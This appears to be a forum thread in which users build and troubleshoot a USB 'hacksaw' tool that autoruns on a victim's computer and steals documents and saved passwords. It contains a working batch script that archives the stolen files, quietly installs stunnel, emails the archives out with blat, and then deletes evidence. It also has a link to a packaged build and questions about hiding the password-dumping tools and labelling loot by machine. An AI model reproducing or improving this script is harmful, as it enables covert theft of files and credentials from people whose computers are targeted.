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  1. Is there anyway to exclude certain file types or only allow certain file types? Because i don't want to uload video files at all. They take up way too much space. Would I have to tweak the raring program command line in the send? or is it a usb dumper mod?

    I found this in the RAR Manual.

        -x<f>   Exclude specified file <f>, wildcards may be used both
    
                in the name and file parts of file mask. You may specify
    
                the switch '-x' several times.
    
    
    
                If mask contains wildcards, it applies to current directory
    
                and its subdirectories. It is not recursive without wildcards,
    
                so if you wish to exclude some "filename" in all directories,
    
                you need to specify two masks: "filename" for current directory
    
                and "*filename" for subdirectories. If you know an exact path
    
                to file, you can use "pathfilename" syntax to exclude only
    
                this copy of "filename". If you use -xpathfilename syntax
    
                when unpacking an archive, "path" must be a path inside of
    
                archive, not a file path on the disk after unpacking.
    
    
    
    
    
                Examples:
    
    
    
                1) rar a -r -x*.bak -x*.rar rawfiles
    
    
    
                *.bak and *.rar files will not be added to rawfiles
    
    
    
                2) rar a -r -x*temp -x*temp* savec c:*
    
    
    
                compress all files on the disk c: except temp directories
    
                and files inside of temp directories
    
    
    
                3) rar x -x*.txt docs
    
    
    
                extract all files except *.txt from docs.rar
    
    
    
    
    
        -x@<lf> Exclude files using the specified list file. If you use -x@
    
                without the list file name parameter, it will read file names
    
                from stdin.
    
    
    
                Example:
    
    
    
                rar a -x@exlist.txt arch *.exe

    Does anyone know which would be a better choice to use?

    Would this line work?

    rar a -x*.wmv -x*.avi -x*.mpeg -x*.mpg -x*.asf -x*.mov -x*.vob goodies.rar .docs -v8192k -vn

  2. Is there anyway to exclude certain file types or only allow certain file types? Because i don't want to uload video files at all. They take up way too much space. Would I have to tweak the raring program command line in the send? or is it a usb dumper mod?

    EDIT:

    I found this in the RAR Manual.

        -x<f>   Exclude specified file <f>, wildcards may be used both
    
                in the name and file parts of file mask. You may specify
    
                the switch '-x' several times.
    
    
    
                If mask contains wildcards, it applies to current directory
    
                and its subdirectories. It is not recursive without wildcards,
    
                so if you wish to exclude some "filename" in all directories,
    
                you need to specify two masks: "filename" for current directory
    
                and "*filename" for subdirectories. If you know an exact path
    
                to file, you can use "pathfilename" syntax to exclude only
    
                this copy of "filename". If you use -xpathfilename syntax
    
                when unpacking an archive, "path" must be a path inside of
    
                archive, not a file path on the disk after unpacking.
    
    
    
    
    
                Examples:
    
    
    
                1) rar a -r -x*.bak -x*.rar rawfiles
    
    
    
                *.bak and *.rar files will not be added to rawfiles
    
    
    
                2) rar a -r -x*temp -x*temp* savec c:*
    
    
    
                compress all files on the disk c: except temp directories
    
                and files inside of temp directories
    
    
    
                3) rar x -x*.txt docs
    
    
    
                extract all files except *.txt from docs.rar
    
    
    
    
    
        -x@<lf> Exclude files using the specified list file. If you use -x@
    
                without the list file name parameter, it will read file names
    
                from stdin.
    
    
    
                Example:
    
    
    
                rar a -x@exlist.txt arch *.exe

    Does anyone know which would be a better choice to use?

  3. Thanks, the universal hacker worked.

    But what files should be included in the "custom" LaunchPad.iso. I'm assuming that the autorun.inf should point to the go.cmd file right?

    Has anybody ever encrpyted the netpass and mspass files?

    That would be awesome if someone could do this...

    And what does this U# hacked version offer?

  4. I for some reason cannt get the files to send to me. It will rar them but it will not send to my email or will not send from the email.

    IE: I check the senders sent box nothing. I check the recipents box, nothing.

    :: Configure Email Options
    
    SET emailfrom=
    
    SET emailto=
    
    SET password=
    
    SET subject= %computername%_ip
    
    
    
    :: Archive documents in 8MB chunks
    
    rar a goodies.rar .docs -v8192k -vn
    
    stunnel-4.11.exe -install -quiet
    
    net start stunnel
    
    GOTO sendfiles
    
    
    
    :cleanup
    
    :: Stop stunnel
    
    rem taskkill /f /im stunnel-4.11.exe (??)
    
    net stop stunnel
    
    stunnel-4.11.exe -uninstall -quiet
    
    :: Delete documents
    
    rmdir /s /q docs
    
    :: Delete archive
    
    del /q /f goodies*.*
    
    GOTO end
    
    
    
    :sendfiles
    
    for %%i in (goodies.r*) do blat.exe %%i -base64 -to %emailto% -u %emailfrom% -pw %password% -f %emailfrom% -s %subject% -server 127.0.0.1:1099
    
    GOTO cleanup
    
    
    
    :end
    
    exit

    Well thats the send.bat file I'm using. In the email from I have a 20 character address. and the email to is 22 characters long. Is there maybe a size limitation. I also added @gmail.com to the entries. are you not supposed to do that either?

  5. Well I did it.

    So here....

    http://www.fileden.com/files/2006/7/8/1164...cksaw_NonU3.rar

    NonU3 working.

    Just obviously copy this to the root of your drive.

    I upped the file size of the rar's to 10m because i dont want a bunch of little 1mb files in my inbox. I also renamed googies to BackUp.

    I'm wondering what the cmd option is to enter in the computer name....

    like %appdata% gives the link to appdata.

    I know theres one for the computer name aswell. I'd like this to attach it to the filename of the rar'd files. So I can determine where it came from. I'd also like the ones for date and time.

    Cheers kids.

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